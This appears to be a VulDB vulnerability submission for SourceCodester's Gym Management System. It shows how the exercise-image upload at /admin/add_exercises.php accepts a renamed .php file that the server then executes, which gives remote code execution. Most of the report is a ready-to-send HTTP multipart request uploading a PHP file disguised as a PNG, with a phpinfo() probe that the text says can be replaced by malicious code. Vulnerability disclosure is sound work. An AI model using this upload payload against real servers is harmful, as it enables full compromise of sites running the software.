提交 #43288: Gym Management System Background management Insert Exercises Upload any file getshell

info:Gym Management System Background management insert exercises to upload arbitrary files getshell
First write information on the page, upload image attachments, modify the php suffix to capture the package, modify the content to malicious code, you can implement getshell,
Last access path: /admin/exercise_images/[uploaded attachment name].php
The RCE effect can be achieved.

payload：
POST /admin/add_exercises.php HTTP/1.1
Host: 192.168.153.1:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------102894582020948544771228937950
Content-Length: 867
Origin: http://192.168.153.1:8090
Connection: close
Referer: http://192.168.153.1:8090/admin/add_exercises.php
Cookie: PHPSESSID=jnf3qoj22hdbq8dh1k2k1och1i
Upgrade-Insecure-Requests: 1

-----------------------------102894582020948544771228937950
Content-Disposition: form-data; name="user"

Select a User
-----------------------------102894582020948544771228937950
Content-Disposition: form-data; name="day"

Select a day
-----------------------------102894582020948544771228937950
Content-Disposition: form-data; name="exercise"

qqqqqqqqqqqq
-----------------------------102894582020948544771228937950
Content-Disposition: form-data; name="sets"

qqqqqqqqqqqq
-----------------------------102894582020948544771228937950
Content-Disposition: form-data; name="exer_img"; filename="123.php"
Content-Type: image/png

<?php phpinfo();?>‚
-----------------------------102894582020948544771228937950
Content-Disposition: form-data; name="insert_workout"

Assign Workout
-----------------------------102894582020948544771228937950--

• 来源: ⚠️ www.sourcecodester.com/php/15515/gym-management-system-project-php.html
• 用户: jsbae3449 (UID 30775)
• 提交: 2022-08-10 05時45分 (4 年前)
• 管理: 2022-08-10 07時12分 (1 hour later)
• 状态: 已接受
• VulDB条目: 206012 [SourceCodester Gym Management System Background Management /admin/add_exercises.php exer_img 权限提升]
• 积分: 17